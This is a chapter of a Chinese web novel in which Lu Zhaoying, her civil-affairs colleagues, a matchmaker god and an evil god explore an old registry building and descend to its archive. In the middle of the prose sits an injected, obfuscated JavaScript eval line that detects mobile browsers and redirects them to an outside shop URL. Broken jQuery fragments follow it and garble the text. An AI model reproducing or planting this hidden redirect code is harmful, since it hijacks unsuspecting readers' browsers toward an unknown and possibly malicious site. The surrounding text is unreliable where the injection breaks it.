鹿照影最后还是用钥匙开的门。
智能门锁卡在“鹿照——”之后，就像一个人说话说到一半，忽然忘了后面的字。
楼道里的感应灯亮了又暗，暗了又亮，那只小飞蛾还在灯罩旁边绕圈，仿佛全世界只有它还很坚定地记得自己的路线。
鹿照影站在门口，盯着门锁看了几秒。
屏幕上的蓝光闪了闪。
【用户信息同步中。】
她没有再等。
钥匙插进锁孔，轻轻一拧。
咔哒。
门开了。
鹿照影推门进去，反手关门，靠在门板上站了一会儿。
屋里很安静。
鞋柜上放着她早上出门前忘记扔的快递盒，茶几上有半包纸巾，冰箱门贴着一张便利贴，写着“买鸡蛋”。
所有东西都还在。
她也还在。
鹿照影掏出手机，给周主任发消息。
【主任，我家门锁刚才识别异常，名字没有播完。】
过了一分钟，周主任回了。
【收到。今晚锁好门，早点睡。明天九点旧楼门口集合。】
又过了几秒，第二条消息跳出来。
【别怕。明天一起查。】
鹿照影看着“别怕”两个字，忽然笑了一下。
周主任这个人很神奇。
她说“别怕”，不像安慰，更像通知。
仿佛只要她发了这两个字，恐惧就必须按规定退后三步，不得妨碍明天正常上班。
鹿照影回了一个“好”，把手机扣在茶几上，洗漱，关灯，躺下。
她以为自己会睡不着。
可事实证明，人在经历过锅里浮名片、旧神显形、月老变脸、门锁忘名之后，身体依旧有一种非常朴素的自救能力。
它会强行关机。
第二天早上，鹿照影醒得比闹钟还早。
窗外天色灰白，云洄市刚刚从夜里醒过来，小区楼下有人推着早点摊经过，铁皮车轮碾过地面，发出轻微的咯吱声。
她洗脸时看了一眼镜子。
镜子里的自己脸色不算好，眼下有一点青，头发也乱。
但轮廓清楚。
五官清楚。
名字暂时还清楚。
鹿照影盯着镜子看了两秒，伸手拍了拍自己的脸。
“很好。”
“今日份存在确认完毕。”
说完，她自己都觉得有点好笑。
她换好衣服，把工牌放进包里，又把身份证、钥匙、手机、充电宝全部检查一遍。
走到门口时，她看了一眼智能门锁。
屏幕黑着。
像昨晚什么都没发生过。
鹿照影没有用指纹锁门。
她用钥匙。
金属钥匙在手心里带着一点冷意，拧动时发出很实在的声音。
咔哒。
这声音比任何系统提示都让人安心。
九点整，云洄民政局旧楼门口。
鹿照影到的时候，人已经差不多齐了。
夏圆圆背了一个鼓鼓囊囊的双肩包，站在台阶下，脸色凝重得像要去参加野外求生。
鹿照影走过去，看了一眼她的包。
“你背了什么？”
夏圆圆拉开一点拉链给她看。
手电筒，充电宝，湿巾，纸巾，巧克力，薄荷糖，创可贴，驱蚊水，护身符，还有一包辣条。
鹿照影沉默了一下。
“你是来查档案，还是来春游？”
夏圆圆认真说：“鹿姐，人在恐惧的时候，需要补充糖分、盐分和玄学支持。”
鹿照影：“辣条属于哪一类？”
夏圆圆想了想。
“精神支柱。”
老马蹲在门口修一把老锁，旁边停着他那辆绿色电动三轮“小绿”。他今天没有穿保安制服，换了件深灰色外套，袖口挽着，手里拿着一串很旧的钥匙。
那串钥匙一晃，叮叮当当响，像从某个八十年代的单位办公室里直接传下来的。
周主任站在一边，手里端着保温杯，表情和平时没什么区别。
如果忽略她脚边放着一只很大的工具箱。
鹿照影看了眼工具箱。
“主任，这是什么？”
周主任：“应急物资。”
夏圆圆小声：“我能问问里面有什么吗？”
周主任：“手套、口罩、封条、登记表、印泥、螺丝刀、小型灭火器。”
夏圆圆肃然起敬。
“主任，你这个才叫真正的精神支柱。”
周主任看她一眼。
“比辣条可靠。”
夏圆圆立刻把包拉好。
月照迟靠在台阶旁边，手里抱着红线簿，脸色比昨天差一点。
鹿照影注意到他眼下也有淡淡的青。
“你没睡好？”
月照迟慢慢转头，看向不远处的闻厄。
“你猜。”
闻厄站在旧楼门口，白衬衫，黑裤，神色平静，像昨晚被临时安置到月老家沙发上的人不是他。
鹿照影看向他。
闻厄也看了过来。
“早。”
鹿照影点头。
“早。”
夏圆圆立刻凑过来，小声问月照迟：“他昨晚住得怎么样？”
月照迟笑了一下。
“很好。”
夏圆圆狐疑：“真的假的？”
月照迟：“凌晨一点，他和我家猫互相凝视了四十分钟。”
夏圆圆：“然后呢？”
“然后我家猫败了。”
夏圆圆倒吸一口气。
“猫都能败？”
月照迟幽幽道：“邪神对小动物有一种天生的压迫感。”
闻厄听见了，转头。
“它先对我低吼。”
月照迟：“那是猫在观察你。”
闻厄：“我亦观察它。”
“你观察到它把尾巴炸成鸡毛掸子了吗？”
闻厄沉默片刻。
“它毛量尚可。”
鹿照影没忍住笑了一声。
闻厄看向她，似乎不明白这句话哪里好笑。
周主任把保温杯盖子拧紧。
“行了。”
她抬头看向旧楼。
“先办正事。”
云洄旧楼藏在老街后面。
外墙是很旧的灰白色，墙皮裂开几道细纹，窗框掉漆，门口还挂着一块褪色的牌子，上面隐约能看出几个字：
【云洄区民政服务所】
楼前有两棵老梧桐，树叶遮住一半窗户，风一吹，叶影落在玻璃上，像很多只手贴在那里。
鹿照影站在门口，心里忽然生出一种很微妙的感觉。
她从来没来过这里。
可在看见那块旧牌子的瞬间，她胸口像被什么东西轻轻拉了一下，像有一根很细的线，从很久以前的地方，慢慢碰到了她。
闻厄侧头看她。
“怎么了？”
鹿照影回神。
“没什么。”
她看了一眼旧楼门口那道铁门。
“就是觉得这里不像废楼。”
夏圆圆缩了缩脖子。
“那像什么？”
鹿照影想了想。
“像还在等人上班。”
这句话一出口，台阶上的风忽然静了一下。
老马手里的钥匙停住。
月照迟翻红线簿的手指也顿了顿。
周主任看向鹿照影，眼神深了一点，但没有追问。
老马把最后一把锁打开。
铁门发出一声很长的吱呀声。
像有人在里面叹气。
夏圆圆立刻摸出护身符。
周主任：“小夏。”
夏圆圆：“我只是摸摸。”
周主任：“进去以后不要乱摸。”
夏圆圆立刻把护身符塞回去。
“明白。”
旧楼里面比外面更冷。
一楼大厅很空，地面铺着老式花纹瓷砖，墙上贴着几张褪色的宣传画，边角卷起，玻璃窗口后面的木柜还在，取号机当然早就没有了，只有墙边放着一排旧长椅。
阳光从高窗里斜进来，照出空气里细小的灰尘。
夏圆圆小声说：“这里以前也是办结婚登记的吗？”
老马点头。
“结婚，离婚，收养，救助，低保，死亡登记，早些年都在这儿办。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758972|209562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夏圆圆看着那些空窗口，声音更小了。
“那这里见过好多人的人生大事。”
周主任说：“所以不要嬉皮笑脸。”
夏圆圆立刻站直。
“我很严肃。”
她说完，视线落在闻厄身上。
闻厄正站在一个旧窗口前，认真看着窗口上方褪色的牌子。
【婚姻登记】
他看了很久。
鹿照影走过去。
“看什么？”
闻厄垂眼。
“这里也有誓约残痕。”
鹿照影顺着他的视线看去。
她什么也看不见，只有一块斑驳的旧牌子，红色油漆褪成暗粉，边缘有些裂开。
闻厄说：“很多人在这里说过愿意。”
他停了一下。
“也有很多人，在这里说过不愿意。”
鹿照影忽然不知道该接什么。
月照迟抱着红线簿站在旁边，懒懒补了一句：“婚姻登记处嘛，红线来来去去，正常。”
闻厄看他。
“你看得见？”
月照迟笑了笑。
“我只能看见红的。”
鹿照影问：“红线是姻缘，那别的呢？”
闻厄垂眼，看向旧窗口后面那片落灰的木柜。
“白线是亲缘。”
“灰线连亡者。”
“黑线是债、罪和亏欠。”
“金线，是被人间承认过的身份和誓约。”
他说到这里，视线停在那块褪色的【婚姻登记】牌子上。
“这里金线最多。”
鹿照影顺着他的视线看过去。
旧窗口后空荡荡的，木柜上积着灰，阳光落在牌子边缘，照出一层很薄的尘。
她什么也看不见。
可闻厄说那里有金线。
很多很多，被盖章、签字、登记、撤销、承认过的金线。
月照迟在旁边轻轻合上红线簿。
“所以我说，今天这里不止红的。”
夏圆圆听得脸色发白。
“所以我们单位不是婚姻登记处。”
她小声说。
“是大型关系枢纽？”
周主任看她一眼。
“现在知道为什么上班不能迟到了？”
周主任没有让他们继续站在大厅里感受旧日氛围。
“老马，带路。”
老马应了一声，穿过大厅，推开一扇半掩的门。
门后是一段往下的楼梯。
灯坏了。
楼梯口贴着一张已经发黄的纸。
【档案重地，闲人免进】
下面还有一条更旧的封条。
封条边缘已经脆了，红章模糊得几乎看不清。
夏圆圆用手电筒往下照。
光柱落在台阶上，照出一层细细的灰。
“真的要下去啊？”
老马回头看她。
“不然第三排第七柜自己上来？”
夏圆圆：“……”
鹿照影默默拿出一颗薄荷糖塞进嘴里。
周主任戴上手套，又递给每个人一副。
“进去以后，所有东西先看，不要动。”
闻厄接过手套，低头看了看。
“此物隔绝触碰？”
周主任：“对。”
闻厄点头，认真戴上。
月照迟看着他那副过于郑重的表情，小声对鹿照影说：“他现在像是在准备处理上古神器。”
鹿照影：“从某种角度讲，也差不多。”
楼梯很窄。
老马走在最前面，手电筒照着台阶。
周主任第二个。
鹿照影跟在周主任后面，闻厄在她身侧偏后的位置，夏圆圆紧紧抓着自己的背包带，月照迟最后一个，嘴上说外部顾问不该走断后，脚步却没有慢。
越往下，空气越冷。
那种冷不是地下室常见的潮气，而是一种更细、更旧的凉，像纸张放太久后散出的霉味，混着封存了很多年的墨迹和铁锈。
鹿照影走到一半，忽然听见了很轻的声音。
沙沙。
就像有人在底下，翻开了一页纸。